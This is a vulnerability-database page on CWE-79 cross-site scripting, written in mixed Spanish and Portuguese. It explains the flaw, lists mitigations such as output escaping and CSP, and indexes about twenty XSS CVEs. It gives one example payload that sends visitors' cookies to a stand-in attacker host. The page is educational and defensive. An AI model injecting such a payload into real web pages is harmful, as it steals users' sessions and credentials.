Fallos del tipo CWE-79

29.763 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-47942MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47970MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47981MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-11479MEDIUMAuthenticated HTML Injection in Issuetrak Ticket Comment FunctionEPSS 0.4%CVE-2024-50841MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability was found in /admin/calendar_of_events.php in KASHIPARA E-learning Management System ProjeEPSS 0.4%CVE-2026-75736MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-5001MEDIUMHorizontal scrolling announcement <= 9.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-51821MEDIUMWordPress WE – Client Logo Carousel plugin <= 1.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-50514MEDIUMWordPress Ninja Forms – The Contact Form Builder That Grows With You plugin <= 3.8.16 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75737MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47980MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-71440MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-51832MEDIUMWordPress Plenigo plugin <= 1.12.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-5668MEDIUMWhatsApp Share Button <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2025-0281HIGHStored Cross-Site Scripting (XSS) in lunary-ai/lunaryEPSS 0.4%CVE-2024-51848MEDIUMWordPress Parallaxer plugin <= 1.00 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-1169MEDIUMSourceCodester Image Compressor Tool compressor.php cross site scriptingEPSS 0.4%CVE-2024-54318MEDIUMWordPress NiceJob plugin <= 3.6.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-48263MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47990MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%